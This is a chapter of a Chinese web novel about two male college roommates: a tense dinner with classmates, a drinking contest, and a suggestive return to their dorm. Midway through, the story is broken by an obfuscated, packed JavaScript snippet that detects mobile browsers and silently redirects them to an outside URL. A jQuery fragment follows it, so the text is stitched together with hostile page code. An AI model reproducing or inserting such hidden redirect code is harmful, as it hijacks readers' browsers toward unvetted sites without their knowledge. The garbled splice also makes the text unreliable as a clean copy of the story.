12. 找感觉
作品:《室友让我每天给他晚安吻》 “啊?”
祝言手臂悬在半空,举臂穿上的卫衣还卡在肩头。
白炽灯的冷光当头而下,将他微微泛红的锁骨也照得一清二楚,单纯以欣赏的角度来看,这样干净的人,很适合被人扯住头发,按进黑色的沙发皮垫。
很难形容那是种什么感觉,似细小的电流蹿过尾椎,祝言竭力想要捕捉那丝陌生的瘙痒,却轻微得一转即逝。
裴见青的手指在脸侧敲了两下,在脑内轻佻色.情的想象具象化前,视线慢慢滑落到别处。
当祝言从愣神的功夫恢复,再望过来时,裴见青眼里透露着与寻常无别的坦然沉静。
裴见青关切地说:“当心着凉,把衣服穿好。”
“噢噢……”
刚才应该是在夸自己球打得不错吧?
祝言有点得意地哼笑了声,穿好衣服收拾妥当,同他一起赶去赵川发来的地址。
出了校,穿过岔路口,入夜后的美食街烟火气达到顶峰,沿街大大小小的店铺招牌闪烁,小方桌快要摆到了马路边。
刨开的大茄子盛满蒜蓉和小米辣,从陈姐串串香隔壁的烧烤摊,由跑堂的店员送进大堂靠窗的连排三桌。
半条热腾腾的茄芯刚入口,有人瞥见门口的方向,手肘赶紧往旁边捅了捅。
“那不是裴见青吗?他怎么跟来了。”
赵川晃了一眼,没好气道:“我怎么知道。”
郑文杰有个辩论社的室友,赵川听他谈起过这人几次,加上开学初期论坛里的种种吐槽,对裴见青观感并不好。
但人是祝言带来的,总不好拂祝言的面子,还是拉开身边的椅子招呼他们过来坐。
“这是裴见青,现在和我一个寝室的。”祝言同他们互相介绍,话没说完,桌上几人就三三两两吆喝起来。
“知道,大名人谁不认识。”
“我们这儿不是黑珍珠,裴少您可别嫌弃。”
“快点快点,叫阿姨过来把座给人家擦干净了,不然可怎么坐。”
赵川没说什么,不表示其他人也是安分角色,语气里阴阳怪气的味儿太重,有人甚至不停敲酒杯欢迎裴少大驾光临,就等着看对方恼羞成怒的模样。
谁料没等人家拂袖而去,先把祝言惹毛了,一脚踹上那人的凳腿:“干啥?老陈醋兑酒了喝蒙头了,你们隔这儿挤兑谁呢?”
桌上的人正是年轻气盛,个个揣着“老子天下第一”的傲气,待人接物只分看得惯和看不惯,标准全由自己说了算。
他们与祝言这个学弟相识不久,但祝言性格脾性早被划进顺眼的范畴,待醒过神,也知道刚才失了分寸,喝杯酒冲裴见青草草道歉,说自己喝多了嘴贱。
裴见青闻言不过略点了点头,若无其事地烫完碗擦好筷,从翻滚冒泡的锅里捞出几根牛肉签子分给祝言:“不是说饿了,吃饭吧。”
众人瞬间沉默。
是谁无理取闹,是谁面面俱到,此刻全然一目了然。
祝言心里虽然有些不痛快,但毕竟作为共同好友,倒也不至于非要强求合不来的人握手言和。当即接过直冒香气的牛肉签子,又顺手牵羊地端了盒赵川他们买的烧烤推给裴见青。
串串香又辣又过瘾,但祝言是碳水星人,不配主食总觉得缺点什么,确定裴见青不吃之后,看了桌上吃吃喝喝的众人一眼,起身去对街买腊肉甄子饭。
人刚走,盛满酒液的玻璃杯推到裴见青手边。
赵川扬了扬下巴:“光吃没意思,咱们也算头次见面,喝一个?”
酒是店主用杨梅泡的粮食酒,喝一口能从舌头辣到胃,赵川那伙人倒得满满当当,连冰块都没加,只差把就是要整你的意图写在脸上。
“好啊。”
裴见青三根手指捏起酒杯,当啷几声与他们碰了碰,仰头一口闷下。
这玩意儿向来都是小口抿,赵川几人还等着他呛到干呕,谁料裴见青就像喝了杯解腻的果汁,没事人一样继续吃菜。
人家喝得爽快,赵川他们也不甘示弱地直接喝完,一时间呛咳声此起彼伏。
酒液激起了他们莫名的胜负欲,准备继续给裴见青满上,一只手突然盖过杯口。
倒酒的人变了脸色,挑着眼角,摆出吊儿郎当的笑:“怎么了裴少?你不会就只能喝一杯吧?”
“这酒放多了冰糖,太腻。”裴见青放下筷子,掀起眼看向他,“不如换一种?”
五分满的扎啤杯灌入两瓶褐色酒液,加点食盐往桌面重重一放,气泡瞬间上涌翻腾。
祝言端着热腾腾的腊肉甄子饭回来时,桌上多了几瓶劲酒和强爽的空瓶,赵川他们歪七倒八,甚至有人离席奔去了厕所。
“你们还喝上了?好喝吗?我还没有试过这种喝法。”祝言端着饭碗坐下,随手拨弄面前还剩小半酒的扎啤杯。
刚要伸手去拿,裴见青却先他一步端走,往他碗边的小玻璃杯里倒了一半,面色如常道:“随便喝点而已。”
一杯微醺,两杯上头,三杯直接昏天黑地。
轻描淡写的语气听得赵川一阵胃疼,可人家确实厉害,心里那丝不服也跟着消停了点。
酒一喝多了,话也跟着多起来,不少人推开酒杯谈天说地,裴见青话虽不多,但凡话题辗转落来时也会搭上几句。
赵川忍不住问起他当初社团接二连三的邀请被拒,转头入了辩论社的事。
裴见青:“邀请太多,抓阄决定的。”
“那为什么有传言说你是嫌打球跌份儿?”
裴见青背靠着座椅,不甚在意:“你也说是传言了。”
那人一愣,心道也是,真要是那种高高在上自命不凡的性格,祝言断不会和他混在一起。
赵川显然明白过来,扫了一眼隔壁桌的郑文杰,颇为可惜地感叹:“你要是来,围观的人肯定不少。”
“那可不成,光看他的脸去了,谁看我们认真打球?”
一直埋头干饭的祝言突然把筷子一放,笑眯眯地插话进来。
酒杯折射的零星光点映入他眼眸,犹如硝烟四散后迸发的闪片礼花。
众人一愣,大笑:“说的也是。”
三桌人胡吃海喝花费不少,不过对于家境不错的赵川来说算不得什么,未开封的酒水饮料也没让退,让大家塞包里带回宿舍。
祝言快把背包撑成个浑圆的球体,最后两罐可乐实在塞不进去,无奈递给旁边干站着发神的郑文杰:“文杰你要吗?这些给你分点?”
指尖在沾满水雾的易拉罐拉出湿痕,郑文杰没接,垂眼落向他手腕上的那根手绳。
崭新的木质婵刺得瞳孔收缩,他猛地一把拍开:“要个屁,少在我面前拐弯抹角的炫耀!”
易拉罐砸在桌角瞬间爆开,滋啦吐出一摊冒着气泡的液体。
“牙刷儿,吃个串串把你吃癫狂了!”
一通火气来得莫名其妙,祝言才换的衣服被溅了水点,没忍住用方言骂了句脏,赶紧抽了纸巾低头擦擦。
浓重的酒气上涌进郑文杰脑袋,他瞪着祝言的头顶一瞬不转,握住酒瓶的指节因过度用力泛出青白。
“祝言,该回去了。”
这时,一道沉稳的声音传来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266366|166590||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裴见青站在门口的黄角树下,说话时仍侧身与赵川保持着交谈的姿势,余光扫向前台,郑文杰慌忙松开攥紧的酒瓶。
“马上来!”祝言随手丢开纸团,转过头,嘴角下压地哼了一声,从郑文杰眼前走过。
赵川正和裴见青说着什么,忽然眼神一震,止住了话头。
不远处的祝言背着圆滚滚的大包,左右手拎着超大瓶装的花生奶和果粒橙,嘴里叼了个自助区的小香梨,就像年底返乡的农民工,眼底闪烁着丰收的喜悦。
想起论坛里夸张讲述的一趟又一趟的黑珍珠外卖,赵川声音发涩:“这玩意儿挺难喂饱的吧?”
裴见青:“还行。”
祝言走来,嘎吱嘎吱嚼着小香梨催促:“走哇,还站着干嘛,我都打包好了,再不走他们要来抢了!”
刚被打劫一空的其余人简直气笑了,心道抢鸡蛋的老头老太来了都得甘拜下风。
等赵川一走,祝言正想趁机打听他们刚刚在说什么,裴见青却接过他手臂间夹着的滑板。
“走吧。”
“好嘞!”
他们穿过喧嚣嘈杂的美食街,过完马路,行人道两道桂花树暗递幽香,盖过肩头那丝烟火气。
一进学校,祝言就迫不及待地让裴见青放下滑板,自己踩着板,滑一段停一段,任由夜风吹得头顶发丝摇晃。
快要到宿舍楼的路口时,裴见青停下脚步,说辩论社开会需要现在过去一趟。
“现在?!”
祝言惊得差点一脚踩空,“这都八点多快九点了,现在还要组织集体讨论吗?你们辩论社也太卷了吧!”
“或许熬得越晚,越能标榜勤奋。”
换做平常,裴见青会以八点后不看手机为借口缺席,不过这次他出乎意料地决定要去。
望着那道渐渐走远的身影,祝言耸了耸肩,拎着自己的战利品满载而归。
寝室里就他们两人住,祝言有足够的空间塞放东西,他收拾妥当后看见医生发来的几条消息,心念一动,捞起睡衣走进浴室。
放松心情,闭眼想象,热水打落在肩膀溅出无数水珠,祝言额头贴紧墙壁,垂眼轻声喘息,打气般小声喊着:
“起、起、起……”
辩论社这次没有拖泥带水,迅速确定了裴见青担任三辩。
“攻防表和论证框架的共享文件已经发在群里。”
裴见青对邓回轩咬牙切齿的模样视若无睹,彬彬有礼地表示感谢各位信任,“没有别的事,我先走了。”
说着将手搭在了门把手。
门把手咔哒转动,房门打开,走廊昏黄的光线被屋里更为明亮的暖光吞没。
裴见青回到宿舍时,祝言整个人放空般四肢摊平趴在床铺,浑身都散发出洗浴后的热气,只是双眼空洞无神,与先才吃饱喝足的模样天差地别。
他偏头扫了眼祝言专门存放零食的柜子,满满当当,一样不少。
裴见青没有细究他突然颓废的缘由,脱下外套,布料随他慢条斯理的动作一寸一寸堆叠在手肘。
“你回来得好快……”
祝言像是刚缓过神,听到裴见青朝床边走来,抬起了头正欲撑身起来——
“趴下去。”
一只手微凉的大手钳住他后颈,不由分说按回床铺。
“???裴见青你干啥?”
侧脸陷入蓬松的枕头,祝言猝不及防地抖动了下身体,他竭力偏头,余光瞥见对方手指间翻转着一柄银光闪闪的器物。
祝言瞬间瞳孔紧缩——
沃日,是筋膜刀!